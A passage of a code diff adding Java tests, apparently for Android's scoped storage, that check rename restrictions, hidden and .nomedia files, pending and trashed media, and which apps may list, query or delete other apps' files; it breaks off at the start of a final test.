+ final File videoFile1 = new File(getDcimDir(), VIDEO_FILE_NAME);
+ final File videoFile2 = new File(getMoviesDir(), VIDEO_FILE_NAME);
+ try {
+ assertThat(createFileAs(APP_B_NO_PERMS, videoFile1.getAbsolutePath())).isTrue();
+ // App can't rename a file owned by APP B.
+ assertCantRenameFile(videoFile1, videoFile2);
+
+ assertThat(videoFile2.createNewFile()).isTrue();
+ // App can't rename a file to videoFile1 which is owned by APP B.
+ assertCantRenameFile(videoFile2, videoFile1);
+ // TODO(b/146346138): Test that app with right URI permission should be able to rename
+ // the corresponding file
+ } finally {
+ deleteFileAsNoThrow(APP_B_NO_PERMS, videoFile1.getAbsolutePath());
+ videoFile2.delete();
+ }
+ }
+
+ /**
+ * Test that renaming file paths to an external directory such as Android/* and Android/* /*
+ * except Android/media/* /* is not allowed.
+ */
+ @Test
+ public void testRenameFileToAppSpecificDir() throws Exception {
+ final File testFile = new File(getExternalMediaDir(), IMAGE_FILE_NAME);
+ final File testFileNew = new File(getExternalMediaDir(), NONMEDIA_FILE_NAME);
+
+ try {
+ // Create a file in app's external media directory
+ if (!testFile.exists()) {
+ assertThat(testFile.createNewFile()).isTrue();
+ }
+
+ final String androidDirPath = getExternalStorageDir().getPath() + "/Android";
+
+ // Verify that we can't rename a file to Android/ or Android/data or
+ // Android/media directory
+ assertCantRenameFile(testFile, new File(androidDirPath, IMAGE_FILE_NAME));
+ assertCantRenameFile(testFile, new File(androidDirPath + "/data", IMAGE_FILE_NAME));
+ assertCantRenameFile(testFile, new File(androidDirPath + "/media", IMAGE_FILE_NAME));
+
+ // Verify that we can rename a file to app specific media directory.
+ assertCanRenameFile(testFile, testFileNew);
+ } finally {
+ testFile.delete();
+ testFileNew.delete();
+ }
+ }
+
+ /**
+ * Test that renaming directories is allowed and aligns to default directory restrictions.
+ */
+ @Test
+ public void testRenameDirectory() throws Exception {
+ final File dcimDir = getDcimDir();
+ final File downloadDir = getDownloadDir();
+ final String nonMediaDirectoryName = TEST_DIRECTORY_NAME + "NonMedia";
+ final File nonMediaDirectory = new File(downloadDir, nonMediaDirectoryName);
+ final File pdfFile = new File(nonMediaDirectory, NONMEDIA_FILE_NAME);
+
+ final String mediaDirectoryName = TEST_DIRECTORY_NAME + "Media";
+ final File mediaDirectory1 = new File(dcimDir, mediaDirectoryName);
+ final File videoFile1 = new File(mediaDirectory1, VIDEO_FILE_NAME);
+ final File mediaDirectory2 = new File(downloadDir, mediaDirectoryName);
+ final File videoFile2 = new File(mediaDirectory2, VIDEO_FILE_NAME);
+ final File mediaDirectory3 = new File(getMoviesDir(), TEST_DIRECTORY_NAME);
+ final File videoFile3 = new File(mediaDirectory3, VIDEO_FILE_NAME);
+ final File mediaDirectory4 = new File(mediaDirectory3, mediaDirectoryName);
+
+ try {
+ if (!nonMediaDirectory.exists()) {
+ assertThat(nonMediaDirectory.mkdirs()).isTrue();
+ }
+ assertThat(pdfFile.createNewFile()).isTrue();
+ // Move directory with pdf file to DCIM directory is not allowed.
+ assertThat(nonMediaDirectory.renameTo(new File(dcimDir, nonMediaDirectoryName)))
+ .isFalse();
+
+ if (!mediaDirectory1.exists()) {
+ assertThat(mediaDirectory1.mkdirs()).isTrue();
+ }
+ assertThat(videoFile1.createNewFile()).isTrue();
+ // Renaming to and from default directories is not allowed.
+ assertThat(mediaDirectory1.renameTo(dcimDir)).isFalse();
+ // Moving top level default directories is not allowed.
+ assertCantRenameDirectory(downloadDir, new File(dcimDir, TEST_DIRECTORY_NAME), null);
+
+ // Moving media directory to Download directory is allowed.
+ assertCanRenameDirectory(mediaDirectory1, mediaDirectory2, new File[] {videoFile1},
+ new File[] {videoFile2});
+
+ // Moving media directory to Movies directory and renaming directory in new path is
+ // allowed.
+ assertCanRenameDirectory(mediaDirectory2, mediaDirectory3, new File[] {videoFile2},
+ new File[] {videoFile3});
+
+ // Can't rename a mediaDirectory to non empty non Media directory.
+ assertCantRenameDirectory(mediaDirectory3, nonMediaDirectory, new File[] {videoFile3});
+ // Can't rename a file to a directory.
+ assertCantRenameFile(videoFile3, mediaDirectory3);
+ // Can't rename a directory to file.
+ assertCantRenameDirectory(mediaDirectory3, pdfFile, null);
+ if (!mediaDirectory4.exists()) {
+ assertThat(mediaDirectory4.mkdir()).isTrue();
+ }
+ // Can't rename a directory to subdirectory of itself.
+ assertCantRenameDirectory(mediaDirectory3, mediaDirectory4, new File[] {videoFile3});
+
+ } finally {
+ pdfFile.delete();
+ deleteRecursively(nonMediaDirectory);
+
+ videoFile1.delete();
+ videoFile2.delete();
+ videoFile3.delete();
+ deleteRecursively(mediaDirectory1);
+ deleteRecursively(mediaDirectory2);
+ deleteRecursively(mediaDirectory3);
+ deleteRecursively(mediaDirectory4);
+ }
+ }
+
+ /**
+ * Test that renaming directory checks file ownership permissions.
+ */
+ @Test
+ public void testRenameDirectoryNotOwned() throws Exception {
+ final String mediaDirectoryName = TEST_DIRECTORY_NAME + "Media";
+ File mediaDirectory1 = new File(getDcimDir(), mediaDirectoryName);
+ File mediaDirectory2 = new File(getMoviesDir(), mediaDirectoryName);
+ File videoFile = new File(mediaDirectory1, VIDEO_FILE_NAME);
+
+ try {
+ if (!mediaDirectory1.exists()) {
+ assertThat(mediaDirectory1.mkdirs()).isTrue();
+ }
+ assertThat(createFileAs(APP_B_NO_PERMS, videoFile.getAbsolutePath())).isTrue();
+ // App doesn't have access to videoFile1, can't rename mediaDirectory1.
+ assertThat(mediaDirectory1.renameTo(mediaDirectory2)).isFalse();
+ assertThat(videoFile.exists()).isTrue();
+ // Test app can delete the file since the file is not moved to new directory.
+ assertThat(deleteFileAs(APP_B_NO_PERMS, videoFile.getAbsolutePath())).isTrue();
+ } finally {
+ deleteFileAsNoThrow(APP_B_NO_PERMS, videoFile.getAbsolutePath());
+ deleteRecursively(mediaDirectory1);
+ deleteRecursively(mediaDirectory2);
+ }
+ }
+
+ /**
+ * Test renaming empty directory is allowed
+ */
+ @Test
+ public void testRenameEmptyDirectory() throws Exception {
+ final String emptyDirectoryName = TEST_DIRECTORY_NAME + "Media";
+ File emptyDirectoryOldPath = new File(getDcimDir(), emptyDirectoryName);
+ File emptyDirectoryNewPath = new File(getMoviesDir(), TEST_DIRECTORY_NAME + "23456");
+ try {
+ if (emptyDirectoryOldPath.exists()) {
+ executeShellCommand("rm -r " + emptyDirectoryOldPath.getPath());
+ }
+ assertThat(emptyDirectoryOldPath.mkdirs()).isTrue();
+ assertCanRenameDirectory(emptyDirectoryOldPath, emptyDirectoryNewPath, null, null);
+ } finally {
+ deleteRecursively(emptyDirectoryOldPath);
+ deleteRecursively(emptyDirectoryNewPath);
+ }
+ }
+
+ /**
+ * Test that apps can create and delete hidden file.
+ */
+ @Test
+ public void testCanCreateHiddenFile() throws Exception {
+ final File hiddenImageFile = new File(getDownloadDir(), ".hiddenFile" + IMAGE_FILE_NAME);
+ try {
+ assertThat(hiddenImageFile.createNewFile()).isTrue();
+ // Write to hidden file is allowed.
+ try (FileOutputStream fos = new FileOutputStream(hiddenImageFile)) {
+ fos.write(BYTES_DATA1);
+ }
+ assertFileContent(hiddenImageFile, BYTES_DATA1);
+
+ assertNotMediaTypeImage(hiddenImageFile);
+
+ assertDirectoryContains(getDownloadDir(), hiddenImageFile);
+ assertThat(getFileRowIdFromDatabase(hiddenImageFile)).isNotEqualTo(-1);
+
+ // We can delete hidden file
+ assertThat(hiddenImageFile.delete()).isTrue();
+ assertThat(hiddenImageFile.exists()).isFalse();
+ } finally {
+ hiddenImageFile.delete();
+ }
+ }
+
+ /**
+ * Test that FUSE upper-fs is consistent with lower-fs after the lower-fs fd is closed.
+ */
+ @Test
+ public void testInodeStatConsistency() throws Exception {
+ File file = new File(getDcimDir(), IMAGE_FILE_NAME);
+
+ try {
+ byte[] writeBuffer = new byte[10];
+ Arrays.fill(writeBuffer, (byte) 1);
+
+ assertThat(file.createNewFile()).isTrue();
+ // Scanning a file is essential as files created via filepath will be marked
+ // as isPending, and we do not set listener for pending files as it can lead to
+ // performance overhead. See: I34611f0ee897dc676e7653beb7943aa6de58c55a.
+ MediaStore.scanFile(getContentResolver(), file);
+
+ // File operation #1 (to lower-fs)
+ ParcelFileDescriptor writePfd = openWithMediaProvider(file, "rw");
+
+ // File operation #2 (to fuse). This caches the inode for the file.
+ file.exists();
+
+ // Write bytes directly to lower-fs
+ Os.pwrite(writePfd.getFileDescriptor(), writeBuffer, 0, 10, 0);
+
+ // Close should invalidate inode cache for this file.
+ writePfd.close();
+ Thread.sleep(1000);
+
+ long fuseFileSize = file.length();
+ assertThat(writeBuffer.length).isEqualTo(fuseFileSize);
+ } finally {
+ file.delete();
+ }
+ }
+
+ /**
+ * Test that apps can rename a hidden file.
+ */
+ @Test
+ public void testCanRenameHiddenFile() throws Exception {
+ final String hiddenFileName = ".hidden" + IMAGE_FILE_NAME;
+ final File hiddenImageFile1 = new File(getDcimDir(), hiddenFileName);
+ final File hiddenImageFile2 = new File(getDownloadDir(), hiddenFileName);
+ final File imageFile = new File(getDownloadDir(), IMAGE_FILE_NAME);
+ try {
+ assertThat(hiddenImageFile1.createNewFile()).isTrue();
+ assertCanRenameFile(hiddenImageFile1, hiddenImageFile2);
+ assertNotMediaTypeImage(hiddenImageFile2);
+
+ // We can also rename hidden file to non-hidden
+ assertCanRenameFile(hiddenImageFile2, imageFile);
+ assertIsMediaTypeImage(imageFile);
+
+ // We can rename non-hidden file to hidden
+ assertCanRenameFile(imageFile, hiddenImageFile1);
+ assertNotMediaTypeImage(hiddenImageFile1);
+ } finally {
+ hiddenImageFile1.delete();
+ hiddenImageFile2.delete();
+ imageFile.delete();
+ }
+ }
+
+ /**
+ * Test that files in hidden directory have MEDIA_TYPE=MEDIA_TYPE_NONE
+ */
+ @Test
+ public void testHiddenDirectory() throws Exception {
+ final File hiddenDir = new File(getDownloadDir(), ".hidden" + TEST_DIRECTORY_NAME);
+ final File hiddenImageFile = new File(hiddenDir, IMAGE_FILE_NAME);
+ final File nonHiddenDir = new File(getDownloadDir(), TEST_DIRECTORY_NAME);
+ final File imageFile = new File(nonHiddenDir, IMAGE_FILE_NAME);
+ try {
+ if (!hiddenDir.exists()) {
+ assertThat(hiddenDir.mkdir()).isTrue();
+ }
+ assertThat(hiddenImageFile.createNewFile()).isTrue();
+
+ assertNotMediaTypeImage(hiddenImageFile);
+
+ // Renaming hiddenDir to nonHiddenDir makes the imageFile non-hidden and vice versa
+ assertCanRenameDirectory(
+ hiddenDir, nonHiddenDir, new File[] {hiddenImageFile}, new File[] {imageFile});
+ assertIsMediaTypeImage(imageFile);
+
+ assertCanRenameDirectory(
+ nonHiddenDir, hiddenDir, new File[] {imageFile}, new File[] {hiddenImageFile});
+ assertNotMediaTypeImage(hiddenImageFile);
+ } finally {
+ hiddenImageFile.delete();
+ imageFile.delete();
+ deleteRecursively(hiddenDir);
+ deleteRecursively(nonHiddenDir);
+ }
+ }
+
+ /**
+ * Test that files in directory with nomedia have MEDIA_TYPE=MEDIA_TYPE_NONE
+ */
+ @Test
+ public void testHiddenDirectory_nomedia() throws Exception {
+ final File directoryNoMedia = new File(getDownloadDir(), "nomedia" + TEST_DIRECTORY_NAME);
+ final File noMediaFile = new File(directoryNoMedia, ".nomedia");
+ final File imageFile = new File(directoryNoMedia, IMAGE_FILE_NAME);
+ final File videoFile = new File(directoryNoMedia, VIDEO_FILE_NAME);
+ try {
+ if (!directoryNoMedia.exists()) {
+ assertThat(directoryNoMedia.mkdir()).isTrue();
+ }
+ assertThat(noMediaFile.createNewFile()).isTrue();
+ assertThat(imageFile.createNewFile()).isTrue();
+
+ assertNotMediaTypeImage(imageFile);
+
+ // Deleting the .nomedia file makes the parent directory non hidden.
+ noMediaFile.delete();
+ MediaStore.scanFile(getContentResolver(), directoryNoMedia);
+ assertIsMediaTypeImage(imageFile);
+
+ // Creating the .nomedia file makes the parent directory hidden again
+ assertThat(noMediaFile.createNewFile()).isTrue();
+ MediaStore.scanFile(getContentResolver(), directoryNoMedia);
+ assertNotMediaTypeImage(imageFile);
+
+ // Renaming the .nomedia file to non hidden file makes the parent directory non hidden.
+ assertCanRenameFile(noMediaFile, videoFile);
+ assertIsMediaTypeImage(imageFile);
+ } finally {
+ noMediaFile.delete();
+ imageFile.delete();
+ videoFile.delete();
+ deleteRecursively(directoryNoMedia);
+ }
+ }
+
+ /**
+ * Test that only file manager and app that created the hidden file can list it.
+ */
+ @Test
+ public void testListHiddenFile() throws Exception {
+ final File dcimDir = getDcimDir();
+ final String hiddenImageFileName = ".hidden" + IMAGE_FILE_NAME;
+ final File hiddenImageFile = new File(dcimDir, hiddenImageFileName);
+ try {
+ assertThat(hiddenImageFile.createNewFile()).isTrue();
+ assertNotMediaTypeImage(hiddenImageFile);
+
+ assertDirectoryContains(dcimDir, hiddenImageFile);
+
+ // TestApp with read permissions can't see the hidden image file created by other app
+ assertThat(listAs(APP_A_HAS_RES, dcimDir.getAbsolutePath()))
+ .doesNotContain(hiddenImageFileName);
+
+ // But file manager can
+ assertThat(listAs(APP_FM, dcimDir.getAbsolutePath()))
+ .contains(hiddenImageFileName);
+
+ // Gallery cannot see the hidden image file created by other app
+ final int resAppUid =
+ getContext().getPackageManager().getPackageUid(APP_A_HAS_RES.getPackageName(),
+ 0);
+ try {
+ allowAppOpsToUid(resAppUid, SYSTEM_GALERY_APPOPS);
+ assertThat(listAs(APP_A_HAS_RES, dcimDir.getAbsolutePath()))
+ .doesNotContain(hiddenImageFileName);
+ } finally {
+ denyAppOpsToUid(resAppUid, SYSTEM_GALERY_APPOPS);
+ }
+ } finally {
+ hiddenImageFile.delete();
+ }
+ }
+
+ @Test
+ public void testOpenPendingAndTrashed() throws Exception {
+ final File pendingImageFile = new File(getDcimDir(), IMAGE_FILE_NAME);
+ final File trashedVideoFile = new File(getPicturesDir(), VIDEO_FILE_NAME);
+ final File pendingPdfFile = new File(getDocumentsDir(), NONMEDIA_FILE_NAME);
+ final File trashedPdfFile = new File(getDownloadDir(), NONMEDIA_FILE_NAME);
+ Uri pendingImgaeFileUri = null;
+ Uri trashedVideoFileUri = null;
+ Uri pendingPdfFileUri = null;
+ Uri trashedPdfFileUri = null;
+ try {
+ pendingImgaeFileUri = createPendingFile(pendingImageFile);
+ assertOpenPendingOrTrashed(pendingImgaeFileUri, /*isImageOrVideo*/ true);
+
+ pendingPdfFileUri = createPendingFile(pendingPdfFile);
+ assertOpenPendingOrTrashed(pendingPdfFileUri, /*isImageOrVideo*/ false);
+
+ trashedVideoFileUri = createTrashedFile(trashedVideoFile);
+ assertOpenPendingOrTrashed(trashedVideoFileUri, /*isImageOrVideo*/ true);
+
+ trashedPdfFileUri = createTrashedFile(trashedPdfFile);
+ assertOpenPendingOrTrashed(trashedPdfFileUri, /*isImageOrVideo*/ false);
+
+ } finally {
+ deleteFiles(pendingImageFile, pendingImageFile, trashedVideoFile,
+ trashedPdfFile);
+ deleteWithMediaProviderNoThrow(pendingImgaeFileUri, trashedVideoFileUri,
+ pendingPdfFileUri, trashedPdfFileUri);
+ }
+ }
+
+ @Test
+ public void testListPendingAndTrashed() throws Exception {
+ final File imageFile = new File(getDcimDir(), IMAGE_FILE_NAME);
+ final File pdfFile = new File(getDownloadDir(), NONMEDIA_FILE_NAME);
+ Uri imageFileUri = null;
+ Uri pdfFileUri = null;
+ try {
+ imageFileUri = createPendingFile(imageFile);
+ // Check that only owner package, file manager and system gallery can list pending image
+ // file.
+ assertListPendingOrTrashed(imageFileUri, imageFile, /*isImageOrVideo*/ true);
+
+ trashFileAndAssert(imageFileUri);
+ // Check that only owner package, file manager and system gallery can list trashed image
+ // file.
+ assertListPendingOrTrashed(imageFileUri, imageFile, /*isImageOrVideo*/ true);
+
+ pdfFileUri = createPendingFile(pdfFile);
+ // Check that only owner package, file manager can list pending non media file.
+ assertListPendingOrTrashed(pdfFileUri, pdfFile, /*isImageOrVideo*/ false);
+
+ trashFileAndAssert(pdfFileUri);
+ // Check that only owner package, file manager can list trashed non media file.
+ assertListPendingOrTrashed(pdfFileUri, pdfFile, /*isImageOrVideo*/ false);
+ } finally {
+ deleteWithMediaProviderNoThrow(imageFileUri, pdfFileUri);
+ deleteFiles(imageFile, pdfFile);
+ }
+ }
+
+ @Test
+ public void testDeletePendingAndTrashed_ownerCanDelete() throws Exception {
+ final File pendingVideoFile = new File(getDcimDir(), VIDEO_FILE_NAME);
+ final File trashedImageFile = new File(getPicturesDir(), IMAGE_FILE_NAME);
+ final File pendingPdfFile = new File(getDownloadDir(), NONMEDIA_FILE_NAME);
+ final File trashedPdfFile = new File(getDocumentsDir(), NONMEDIA_FILE_NAME);
+ // Actual path of the file gets rewritten for pending and trashed files.
+ String pendingVideoFilePath = null;
+ String trashedImageFilePath = null;
+ String pendingPdfFilePath = null;
+ String trashedPdfFilePath = null;
+ try {
+ pendingVideoFilePath = getFilePathFromUri(createPendingFile(pendingVideoFile));
+ trashedImageFilePath = getFilePathFromUri(createTrashedFile(trashedImageFile));
+ pendingPdfFilePath = getFilePathFromUri(createPendingFile(pendingPdfFile));
+ trashedPdfFilePath = getFilePathFromUri(createTrashedFile(trashedPdfFile));
+
+ // App can delete its own pending and trashed file.
+ assertCanDeletePaths(pendingVideoFilePath, trashedImageFilePath, pendingPdfFilePath,
+ trashedPdfFilePath);
+ } finally {
+ deletePaths(pendingVideoFilePath, trashedImageFilePath, pendingPdfFilePath,
+ trashedPdfFilePath);
+ deleteFiles(pendingVideoFile, trashedImageFile, pendingPdfFile, trashedPdfFile);
+ }
+ }
+
+ @Test
+ public void testDeletePendingAndTrashed_otherAppCantDelete() throws Exception {
+ final File pendingVideoFile = new File(getDcimDir(), VIDEO_FILE_NAME);
+ final File trashedImageFile = new File(getPicturesDir(), IMAGE_FILE_NAME);
+ final File pendingPdfFile = new File(getDownloadDir(), NONMEDIA_FILE_NAME);
+ final File trashedPdfFile = new File(getDocumentsDir(), NONMEDIA_FILE_NAME);
+ // Actual path of the file gets rewritten for pending and trashed files.
+ String pendingVideoFilePath = null;
+ String trashedImageFilePath = null;
+ String pendingPdfFilePath = null;
+ String trashedPdfFilePath = null;
+ try {
+ pendingVideoFilePath = getFilePathFromUri(createPendingFile(pendingVideoFile));
+ trashedImageFilePath = getFilePathFromUri(createTrashedFile(trashedImageFile));
+ pendingPdfFilePath = getFilePathFromUri(createPendingFile(pendingPdfFile));
+ trashedPdfFilePath = getFilePathFromUri(createTrashedFile(trashedPdfFile));
+
+ // App can't delete other app's pending and trashed file.
+ assertCantDeletePathsAs(APP_A_HAS_RES, pendingVideoFilePath, trashedImageFilePath,
+ pendingPdfFilePath, trashedPdfFilePath);
+ } finally {
+ deletePaths(pendingVideoFilePath, trashedImageFilePath, pendingPdfFilePath,
+ trashedPdfFilePath);
+ deleteFiles(pendingVideoFile, trashedImageFile, pendingPdfFile, trashedPdfFile);
+ }
+ }
+
+ @Test
+ public void testDeletePendingAndTrashed_fileManagerCanDelete() throws Exception {
+ final File pendingVideoFile = new File(getDcimDir(), VIDEO_FILE_NAME);
+ final File trashedImageFile = new File(getPicturesDir(), IMAGE_FILE_NAME);
+ final File pendingPdfFile = new File(getDownloadDir(), NONMEDIA_FILE_NAME);
+ final File trashedPdfFile = new File(getDocumentsDir(), NONMEDIA_FILE_NAME);
+ // Actual path of the file gets rewritten for pending and trashed files.
+ String pendingVideoFilePath = null;
+ String trashedImageFilePath = null;
+ String pendingPdfFilePath = null;
+ String trashedPdfFilePath = null;
+ try {
+ pendingVideoFilePath = getFilePathFromUri(createPendingFile(pendingVideoFile));
+ trashedImageFilePath = getFilePathFromUri(createTrashedFile(trashedImageFile));
+ pendingPdfFilePath = getFilePathFromUri(createPendingFile(pendingPdfFile));
+ trashedPdfFilePath = getFilePathFromUri(createTrashedFile(trashedPdfFile));
+
+ // File Manager can delete any pending and trashed file
+ assertCanDeletePathsAs(APP_FM, pendingVideoFilePath, trashedImageFilePath,
+ pendingPdfFilePath, trashedPdfFilePath);
+ } finally {
+ deletePaths(pendingVideoFilePath, trashedImageFilePath, pendingPdfFilePath,
+ trashedPdfFilePath);
+ deleteFiles(pendingVideoFile, trashedImageFile, pendingPdfFile, trashedPdfFile);
+ }
+ }
+
+ @Test
+ public void testDeletePendingAndTrashed_systemGalleryCanDeleteMedia() throws Exception {
+ final File pendingVideoFile = new File(getDcimDir(), VIDEO_FILE_NAME);
+ final File trashedImageFile = new File(getPicturesDir(), IMAGE_FILE_NAME);
+ final File pendingPdfFile = new File(getDownloadDir(), NONMEDIA_FILE_NAME);
+ final File trashedPdfFile = new File(getDocumentsDir(), NONMEDIA_FILE_NAME);
+ // Actual path of the file gets rewritten for pending and trashed files.
+ String pendingVideoFilePath = null;
+ String trashedImageFilePath = null;
+ String pendingPdfFilePath = null;
+ String trashedPdfFilePath = null;
+ try {
+ pendingVideoFilePath = getFilePathFromUri(createPendingFile(pendingVideoFile));
+ trashedImageFilePath = getFilePathFromUri(createTrashedFile(trashedImageFile));
+ pendingPdfFilePath = getFilePathFromUri(createPendingFile(pendingPdfFile));
+ trashedPdfFilePath = getFilePathFromUri(createTrashedFile(trashedPdfFile));
+
+ // System Gallery can delete any pending and trashed image or video file.
+ final int resAppUid =
+ getContext().getPackageManager().getPackageUid(APP_A_HAS_RES.getPackageName(),
+ 0);
+ try {
+ allowAppOpsToUid(resAppUid, SYSTEM_GALERY_APPOPS);
+ assertTrue(isMediaTypeImageOrVideo(new File(pendingVideoFilePath)));
+ assertTrue(isMediaTypeImageOrVideo(new File(trashedImageFilePath)));
+ assertCanDeletePathsAs(APP_A_HAS_RES, pendingVideoFilePath, trashedImageFilePath);
+
+ // System Gallery can't delete other app's pending and trashed pdf file.
+ assertFalse(isMediaTypeImageOrVideo(new File(pendingPdfFilePath)));
+ assertFalse(isMediaTypeImageOrVideo(new File(trashedPdfFilePath)));
+ assertCantDeletePathsAs(APP_A_HAS_RES, pendingPdfFilePath, trashedPdfFilePath);
+ } finally {
+ denyAppOpsToUid(resAppUid, SYSTEM_GALERY_APPOPS);
+ }
+ } finally {
+ deletePaths(pendingVideoFilePath, trashedImageFilePath, pendingPdfFilePath,
+ trashedPdfFilePath);
+ deleteFiles(pendingVideoFile, trashedImageFile, pendingPdfFile, trashedPdfFile);
+ }
+ }
+
+ @Test
+ public void testSystemGalleryCanTrashOtherAndroidMediaFiles() throws Exception {
+ final File otherVideoFile = new File(getAndroidMediaDir(),
+ String.format("%s/%s", APP_B_NO_PERMS.getPackageName(), VIDEO_FILE_NAME));
+ try {
+ allowAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
+
+ assertThat(createFileAs(APP_B_NO_PERMS, otherVideoFile.getAbsolutePath())).isTrue();
+
+ final Uri otherVideoUri = MediaStore.scanFile(getContentResolver(), otherVideoFile);
+ assertNotNull(otherVideoUri);
+
+ trashFileAndAssert(otherVideoUri);
+ untrashFileAndAssert(otherVideoUri);
+ } finally {
+ otherVideoFile.delete();
+ denyAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
+ }
+ }
+
+ @Test
+ public void testSystemGalleryCanUpdateOtherAndroidMediaFiles() throws Exception {
+ final File otherImageFile = new File(getAndroidMediaDir(),
+ String.format("%s/%s", APP_B_NO_PERMS.getPackageName(), IMAGE_FILE_NAME));
+ final File updatedImageFileInDcim = new File(getDcimDir(), IMAGE_FILE_NAME);
+ try {
+ allowAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
+
+ assertThat(createFileAs(APP_B_NO_PERMS, otherImageFile.getAbsolutePath())).isTrue();
+
+ final Uri otherImageUri = MediaStore.scanFile(getContentResolver(), otherImageFile);
+ assertNotNull(otherImageUri);
+
+ final ContentValues values = new ContentValues();
+ values.put(MediaStore.MediaColumns.RELATIVE_PATH, Environment.DIRECTORY_DCIM);
+ // Test that we can move the file to "DCIM/"
+ assertWithMessage("Result of ContentResolver#update for " + otherImageUri
+ + " with values " + values)
+ .that(getContentResolver().update(otherImageUri, values, Bundle.EMPTY))
+ .isEqualTo(1);
+ assertThat(updatedImageFileInDcim.exists()).isTrue();
+ assertThat(otherImageFile.exists()).isFalse();
+
+ values.clear();
+ values.put(MediaStore.MediaColumns.RELATIVE_PATH,
+ "Android/media/" + APP_B_NO_PERMS.getPackageName());
+ // Test that we can move the file back to other app's owned path
+ assertWithMessage("Result of ContentResolver#update for " + otherImageUri
+ + " with values " + values)
+ .that(getContentResolver().update(otherImageUri, values, Bundle.EMPTY))
+ .isEqualTo(1);
+ assertThat(otherImageFile.exists()).isTrue();
+ } finally {
+ otherImageFile.delete();
+ updatedImageFileInDcim.delete();
+ denyAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
+ }
+ }
+
+ @Test
+ public void testQueryOtherAppsFiles() throws Exception {
+ final File otherAppPdf = new File(getDownloadDir(), "other" + NONMEDIA_FILE_NAME);
+ final File otherAppImg = new File(getDcimDir(), "other" + IMAGE_FILE_NAME);
+ final File otherAppMusic = new File(getMusicDir(), "other" + AUDIO_FILE_NAME);
+ final File otherHiddenFile = new File(getPicturesDir(), ".otherHiddenFile.jpg");
+ try {
+ // Apps can't query other app's pending file, hence create file and publish it.
+ assertCreatePublishedFilesAs(
+ APP_B_NO_PERMS, otherAppImg, otherAppMusic, otherAppPdf, otherHiddenFile);
+
+ // Since the test doesn't have READ_EXTERNAL_STORAGE nor any other special permissions,
+ // it can't query for another app's contents.
+ assertCantQueryFile(otherAppImg);
+ assertCantQueryFile(otherAppMusic);
+ assertCantQueryFile(otherAppPdf);
+ assertCantQueryFile(otherHiddenFile);
+ } finally {
+ deleteFilesAs(APP_B_NO_PERMS, otherAppImg, otherAppMusic, otherAppPdf, otherHiddenFile);
+ }
+ }
+
+ @Test
+ public void testSystemGalleryQueryOtherAppsFiles() throws Exception {
+ final File otherAppPdf = new File(getDownloadDir(), "other" + NONMEDIA_FILE_NAME);
+ final File otherAppImg = new File(getDcimDir(), "other" + IMAGE_FILE_NAME);
+ final File otherAppMusic = new File(getMusicDir(), "other" + AUDIO_FILE_NAME);
+ final File otherHiddenFile = new File(getPicturesDir(), ".otherHiddenFile.jpg");
+ try {
+ // Apps can't query other app's pending file, hence create file and publish it.
+ assertCreatePublishedFilesAs(
+ APP_B_NO_PERMS, otherAppImg, otherAppMusic, otherAppPdf, otherHiddenFile);
+
+ // System gallery apps have access to video and image files
+ allowAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
+
+ assertCanQueryAndOpenFile(otherAppImg, "rw");
+ // System gallery doesn't have access to hidden image files of other app
+ assertCantQueryFile(otherHiddenFile);
+ // But no access to PDFs or music files
+ assertCantQueryFile(otherAppMusic);
+ assertCantQueryFile(otherAppPdf);
+ } finally {
+ denyAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
+ deleteFilesAs(APP_B_NO_PERMS, otherAppImg, otherAppMusic, otherAppPdf, otherHiddenFile);
+ }
+ }
+
+ /**
+ * Test that System Gallery app can rename any directory under the default directories
+ * designated for images and videos, even if they contain other apps' contents that
+ * System Gallery doesn't have read access to.
+ */
+ @Test
+ public void testSystemGalleryCanRenameImageAndVideoDirs() throws Exception {
+ final File dirInDcim = new File(getDcimDir(), TEST_DIRECTORY_NAME);
+ final File dirInPictures = new File(getPicturesDir(), TEST_DIRECTORY_NAME);
+ final File dirInPodcasts = new File(getPodcastsDir(), TEST_DIRECTORY_NAME);
+ final File otherAppImageFile1 = new File(dirInDcim, "other_" + IMAGE_FILE_NAME);
+ final File otherAppVideoFile1 = new File(dirInDcim, "other_" + VIDEO_FILE_NAME);
+ final File otherAppPdfFile1 = new File(dirInDcim, "other_" + NONMEDIA_FILE_NAME);
+ final File otherAppImageFile2 = new File(dirInPictures, "other_" + IMAGE_FILE_NAME);
+ final File otherAppVideoFile2 = new File(dirInPictures, "other_" + VIDEO_FILE_NAME);
+ final File otherAppPdfFile2 = new File(dirInPictures, "other_" + NONMEDIA_FILE_NAME);
+ try {
+ assertThat(dirInDcim.exists() || dirInDcim.mkdir()).isTrue();
+
+ executeShellCommand("touch " + otherAppPdfFile1);
+ MediaStore.scanFile(getContentResolver(), otherAppPdfFile1);
+
+ allowAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
+
+ assertCreateFilesAs(APP_A_HAS_RES, otherAppImageFile1, otherAppVideoFile1);
+
+ // System gallery privileges don't go beyond DCIM, Movies and Pictures boundaries.
+ assertCantRenameDirectory(dirInDcim, dirInPodcasts, /*oldFilesList*/ null);
+
+ // Rename should succeed, but System Gallery still can't access that PDF file!
+ assertCanRenameDirectory(dirInDcim, dirInPictures,
+ new File[] {otherAppImageFile1, otherAppVideoFile1},
+ new File[] {otherAppImageFile2, otherAppVideoFile2});
+ assertThat(getFileRowIdFromDatabase(otherAppPdfFile1)).isEqualTo(-1);
+ assertThat(getFileRowIdFromDatabase(otherAppPdfFile2)).isEqualTo(-1);
+ } finally {
+ executeShellCommand("rm " + otherAppPdfFile1);
+ executeShellCommand("rm " + otherAppPdfFile2);
+ MediaStore.scanFile(getContentResolver(), otherAppPdfFile1);
+ MediaStore.scanFile(getContentResolver(), otherAppPdfFile2);
+ otherAppImageFile1.delete();
+ otherAppImageFile2.delete();
+ otherAppVideoFile1.delete();
+ otherAppVideoFile2.delete();
+ otherAppPdfFile1.delete();
+ otherAppPdfFile2.delete();
+ deleteRecursively(dirInDcim);
+ deleteRecursively(dirInPictures);
+ denyAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
+ }
+ }
+
+ /**
+ * Test that row ID corresponding to deleted path is restored on subsequent create.
+ */
+ @Test
+ public void testCreateCanRestoreDeletedRowId() throws Exception {
+ final File imageFile = new File(getDcimDir(), IMAGE_FILE_NAME);
